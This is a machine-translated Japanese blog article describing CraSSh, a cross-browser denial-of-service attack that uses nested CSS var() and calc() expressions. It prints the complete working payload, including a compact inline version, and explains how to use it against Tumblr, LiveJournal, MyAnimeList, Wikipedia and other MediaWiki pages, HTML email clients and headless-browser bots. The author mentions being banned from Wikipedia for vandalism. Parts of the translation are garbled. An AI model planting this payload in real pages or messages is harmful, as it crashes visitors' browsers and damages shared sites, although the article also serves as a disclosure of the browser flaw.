記事の著者: コンスタンチン・サフォノフこの技術的なおしゃべりは読みたくありません。 私のブラウザはちょうど落ちました。CraSShとは
CraSShは、最新のブラウザーでの
var()
および
calc()
CSSネスト関数の不適切な処理に基づくクロスブラウザーの純粋に宣言的なDoS攻撃です。
CraSShは、デスクトップおよびモバイルデバイス上のすべての主要なブラウザーで動作します。
- WebKit / Blinkエンジン-Chrome、Opera、Safari、さらにはスマートテレビや冷蔵庫のSamsungインターネット。
- Android WebView、iOS UIWebViewも影響を受けます。つまり、組み込みブラウザーを使用すると、アプリケーションをクラッシュさせる可能性があります。
- Geckoエンジン-Firefoxおよびそのフォーク(Tor Browserなど)。
- Servoはどのマシンでも起動しなかったため、テストしませんでした。
- EdgeHTMLエンジン-Windows上のEdge、UWPアプリケーション上のWebView(誰もがそれらを使用していますか?)
IEブラウザーは、攻撃の基になっている機能をサポートしていないため影響を受けませんが、ユーザーは独自の多くの問題を抱えています
(おそらく、このブラウザーは他の方法で破壊される可能性があります 。
仕組み
CraSShのアイデアは、指数関数的な時間をかけてネストされた変数呼び出しと膨大なメモリ使用量でCSSプロパティをブラウザに計算させることです。
この攻撃は、3つのCSS機能に依存しています。
CSS変数( カスタムプロパティとvar() )変数を宣言することができます:変数の割り当てと読み取り:
.variables { --variable: 1px; height: var(--variable); }
変数は、再帰(無限再帰を引き起こす
WebKitにバグがありましたが)またはループを許可しませんが、次のように定義できます。
式calc()式calc()を使用すると、ルールを記述するときにいくつかの基本的な算術演算を実行できます(例
'width: calc(50% - 10px)'
。
calc()
使用すると、変数を参照し、単一の式で複数の値を使用できます。
.calc { --variable: 1px; height: calc(var(--variable) + var(--variable)); }
これにより、次のことが可能になります。
- 前の変数への参照を追加することにより、各
calc()
式の計算を線形的に増やします。 - 他の計算された変数を参照する
calc()
式を使用して各変数宣言の複雑さを指数関数的に増加させます。
.calc_multiple { --variable-level-0: 1px; --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); }
指数関数的に計算する必要があるように見えますが、最新のブラウザは少し賢いので、通常は変数の値を一度計算するだけで、複雑さが線形になります。 秘Theは、変数値のキャッシングが発生した場合に発生しないことです
異質な意味技術的には、これは
calc()
一部ですが、特別な言及に値します。 異種変数には、絶対単位と相対単位の両方が含まれます。 彼女はできません:
- 絶対値として計算され、さまざまな要素のさまざまなアプリケーションによって共有されます。これは、ターゲット要素のプロパティ(単位
'%'
/ 'em'
)に依存するためです。 - あるアプリケーションでは絶対値として計算されます。これは、場合によっては複雑なレイアウトに違反する奇妙なサブピクセルオフセットを引き起こす丸め誤差の蓄積につながるためです(12列、画面幅の1/12がありますか?新しい行に配置するか、最後に不格好なギャップを残します)。
したがって、この値は毎回再計算されます。
.non_cached { --const: calc(50% + 10px); --variable: calc(var(--const) + var(--const)); width: var(--variable); }
2番目の点に関しては、ほとんどのブラウザは、丸めエラーを回避するために、単一の式に異種の値を持つネストされた変数を単に埋め込みます。
.mixed { --mixed:calc(1% + 1px); --mixed-reference: calc(var(--mixed) + var(--mixed)); --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); --mixed-reference-computes-as: calc(2% + 2px); }
式に数百万(または数十億)の要素があると想像してください... CSSエンジンは、数ギガバイトのRAMを割り当て、式を減らし、イベントハンドラーを追加して、何かが変化したときにプロパティをカウントできるようにします。 最終的に、これは特定の段階で発生します。
したがって、元のCraSShは次のようになりました。
.crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); --level-2: calc(var(--level-1) + var(--level-1)); --level-3: calc(var(--level-2) + var(--level-2)); --level-4: calc(var(--level-3) + var(--level-3)); --level-5: calc(var(--level-4) + var(--level-4)); --level-6: calc(var(--level-5) + var(--level-5)); --level-7: calc(var(--level-6) + var(--level-6)); --level-8: calc(var(--level-7) + var(--level-7)); --level-9: calc(var(--level-8) + var(--level-8)); --level-10: calc(var(--level-9) + var(--level-9)); --level-11: calc(var(--level-10) + var(--level-10)); --level-12: calc(var(--level-11) + var(--level-11)); --level-13: calc(var(--level-12) + var(--level-12)); --level-14: calc(var(--level-13) + var(--level-13)); --level-15: calc(var(--level-14) + var(--level-14)); --level-16: calc(var(--level-15) + var(--level-15)); --level-17: calc(var(--level-16) + var(--level-16)); --level-18: calc(var(--level-17) + var(--level-17)); --level-19: calc(var(--level-18) + var(--level-18)); --level-20: calc(var(--level-19) + var(--level-19)); --level-21: calc(var(--level-20) + var(--level-20)); --level-22: calc(var(--level-21) + var(--level-21)); --level-23: calc(var(--level-22) + var(--level-22)); --level-24: calc(var(--level-23) + var(--level-23)); --level-25: calc(var(--level-24) + var(--level-24)); --level-26: calc(var(--level-25) + var(--level-25)); --level-27: calc(var(--level-26) + var(--level-26)); --level-28: calc(var(--level-27) + var(--level-27)); --level-29: calc(var(--level-28) + var(--level-28)); --level-30: calc(var(--level-29) + var(--level-29)); --level-final: calc(var(--level-30) + 1px); border-width: var(--level-final); border-style: solid; }
<div class="crassh"> , CSS CraSSh </div>
そして、これは1000文字未満の組み込みバージョンです(デモ用のMediaWiki)。
<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>
使い方
Tumblr(
ブラウザクラッシュの 例 )やLiveJournal(
ブラウザクラッシュの例 )など
、 HTMLへのフルアクセスを提供するプラットフォームで、ユーザーを自分のサイトやブログから遠ざけることに加えて、CraSShでは次のことができます。
- 管理下にあるサイトのページでUIを解除し、HTMLテンプレートを提供しなくても、任意のCSSを定義できます。 私はMyAnimeListを破ることに成功しました( ブラウザがクラッシュする例 )。 Redditは、パーサーがCSS変数をサポートしていないため、この攻撃の影響を受けません。
- パブリックでアクセス可能な書き込み可能なページのUIをスマッシュして、インラインスタイルのHTMLタグを埋め込むことができます。 ウィキペディアで、私のアカウントは破壊行為のために禁止されましたが、個人ページにブラウザの障害がある例を投稿しました。 この攻撃は、ほとんどのMediaWikiベースのプロジェクトに影響を及ぼします。 原則として、壊れたページはUIから復元できなくなりました。
- HTML対応の電子メールクライアントの原因
- 電子メールクライアントはHTMLを削除/削減し、通常CraSShが使用する最新のCSS機能をサポートしないため、これは非常に注意が必要です。
- CraSShはで働く
- CraSShはで動作しません
- Outlook(ウェブ)
- Gmail(ウェブ)
- Gmail(Android)
- Yahoo(ウェブ)
- Yandex(ウェブ)
- プロトンメール(ウェブ)
- Zimbra(Web、オフラインインストール)
- Windowsメール(明らかにWindows)
- で働く必要があります
- Outlook for Mac(内部でWebkitを使用)
- 他の人はテストしていません。
- 私は、CraSShがCEF / PhantomJSに基づいたボットに対して使用できるという悪い考えを得ました。 攻撃されたサイトは、CraSShコードにヘッダーを挿入することができ( ここのように )、通常の403エラーを表示しません。IIRC、組み込みエンジンではエラーの処理方法が異なるため、
- これにより、ボットがクラッシュする可能性があります(スタックオーバーフローやヘッドレスブラウザーの何かを期待する人はいません)
- 回答の本文には表示されず、ログに記録される可能性が高いため、デバッグするのは非常に困難です
なぜこれが行われるのですか
- Linusの投稿を覚えていますか?
ITセキュリティの世界は新たな底に達したようです。
安全に働いて良心があると思うなら、私はあなたが書くことができると思う:
「いいえ、本当に、私は売春婦ではありません。 正直、正直に”
彼の名刺に。 業界全体が腐敗していると思っていましたが、これはすでにばかげています。
セキュリティの人々はどの時点で自分に注意を引くのが好きだと認めますか?
朝の4時まで仕事をする喜びと達成された結果に注意することが、うつ病やオフィスの前にあるこのきれいな歩道に飛び込むことを妨げるものが少ないため、私はさらに進んでサイト全体を単純なバグ専用にしました。 - さらに、フルスタック開発者としての私の仕事の一部であるフロントエンドが嫌いです。そのようなことが、少しリラックスするのに役立ちます。
類似のもの
今、私は素晴らしいプロジェクトに参加しています。これについては少し後で説明します。
Twitterでフォローしてください。
特別な感謝